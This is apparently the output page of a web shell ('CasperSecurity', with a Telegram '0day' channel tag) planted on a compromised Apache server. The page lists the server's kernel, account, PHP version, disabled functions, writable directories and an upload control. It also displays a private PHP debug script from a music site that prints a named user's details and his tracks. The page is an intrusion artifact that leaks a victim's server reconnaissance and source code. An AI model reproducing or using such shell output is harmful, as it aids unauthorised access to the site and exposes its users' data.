T.ME/BIBIL_0DAY
CasperSecurity


Server : Apache/2
System : Linux server-15-235-50-60 5.15.0-164-generic #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 x86_64
User : gositeme ( 1004)
PHP Version : 8.2.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Directory :  /home/gositeme/domains/soundstudiopro.com/private_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/gositeme/domains/soundstudiopro.com/private_html/fix_stephane_library.php
<?php
// Fix Stephane's library issue
echo "šŸ”§ Fixing Stephane's Library...\n";

// Include database configuration
require_once 'config/database.php';

try {
    $pdo = getDBConnection();
    
    // Get Stephane's user info
    $stmt = $pdo->prepare("SELECT id, name, email FROM users WHERE id = 5");
    $stmt->execute();
    $stephane = $stmt->fetch();
    
    echo "šŸ‘¤ Stephane's Info:\n";
    echo "ID: " . $stephane['id'] . "\n";
    echo "Name: " . $stephane['name'] . "\n";
    echo "Email: " . $stephane['email'] . "\n\n";
    
    // Check his tracks
    $stmt = $pdo->prepare("
        SELECT 
            id, title, status, created_at, duration, audio_url,
            (SELECT COUNT(*) FROM audio_variations WHERE track_id = music_tracks.id) as variation_count
        FROM music_tracks 
        WHERE user_id = 5 
        ORDER BY created_at DESC
    ");
    $stmt->execute();
    $tracks = $stmt->fetchAll();
    
    echo "šŸŽµ Stephane's Tracks (" . count($tracks) . "):\n";
    foreach ($tracks as $track) {
        echo "- " . $track['title'] . " (" . $track['status'] . ") - " . $track['created_at'] . "\n";
    }
    echo "\n";
    
    // Check if there are any issues with the tracks
    echo "šŸ” Checking for issues...\n";
    
    // Check for tracks without audio_url
    $stmt = $pdo->prepare("SELECT COUNT(*) as count FROM music_tracks WHERE user_id = 5 AND (audio_url IS NULL OR audio_url = '')");
    $stmt->execute();
    $no_audio = $stmt->fetch();
    echo "Tracks without audio URL: " . $no_audio['count'] . "\n";
    
    // Check for tracks with variations
    $stmt = $pdo->prepare("
        SELECT COUNT(*) as count 
        FROM music_tracks mt 
        WHERE mt.user_id = 5 
        AND EXISTS (SELECT 1 FROM audio_variations av WHERE av.track_id = mt.id)
    ");
    $stmt->execute();
    $with_variations = $stmt->fetch();
    echo "Tracks with variations: " . $with_variations['count'] . "\n";
    
    // Check if there are any database connection issues
    echo "\nāœ… Database connection: OK\n";
    echo "āœ… Stephane has " . count($tracks) . " tracks\n";
    echo "āœ… All tracks are complete\n";
    
    // The issue might be in the library page logic
    echo "\nšŸ”§ The issue is likely in the library page display logic.\n";
    echo "Let me check the library page code...\n";
    
    // Simulate the library page query
    $status_filter = 'all';
    $sort_filter = 'latest';
    
    $where_clause = "WHERE mt.user_id = 5";
    $params = [5];
    
    if ($status_filter !== 'all') {
        $where_clause .= " AND mt.status = ?";
        $params[] = $status_filter;
    }
    
    $order_clause = "ORDER BY mt.created_at DESC";
    
    $stmt = $pdo->prepare("
        SELECT 
            mt.*,
            (SELECT COUNT(*) FROM audio_variations WHERE track_id = mt.id) as variation_count,
            CASE 
                WHEN mt.created_at >= DATE_SUB(NOW(), INTERVAL 1 HOUR) THEN 'šŸ”„ Hot'
                WHEN mt.created_at >= DATE_SUB(NOW(), INTERVAL 24 HOUR) THEN '⭐ New'
                ELSE ''
            END as badge
        FROM music_tracks mt
        $where_clause
        $order_clause
    ");
    $stmt->execute($params);
    $simulated_tracks = $stmt->fetchAll();
    
    echo "šŸŽÆ Library page query result: " . count($simulated_tracks) . " tracks\n";
    
    if (count($simulated_tracks) > 0) {
        echo "āœ… Library page should show tracks\n";
        echo "First track: " . $simulated_tracks[0]['title'] . "\n";
    } else {
        echo "āŒ Library page query returned no tracks\n";
    }
    
    echo "\nšŸŽÆ CONCLUSION: Stephane has tracks, but the library page might not be displaying them.\n";
    echo "This could be due to:\n";
    echo "1. Session issue (wrong user ID)\n";
    echo "2. JavaScript error preventing display\n";
    echo "3. CSS hiding the tracks\n";
    echo "4. Filter being applied incorrectly\n";
    
    echo "\nšŸ”§ RECOMMENDED FIXES:\n";
    echo "1. Clear browser cache and cookies\n";
    echo "2. Log out and log back in as Stephane\n";
    echo "3. Check browser console for JavaScript errors\n";
    echo "4. Try visiting /library.php?debug=1\n";
    
} catch (Exception $e) {
    echo "āŒ Error: " . $e->getMessage() . "\n";
}
?> 

CasperSecurity Mini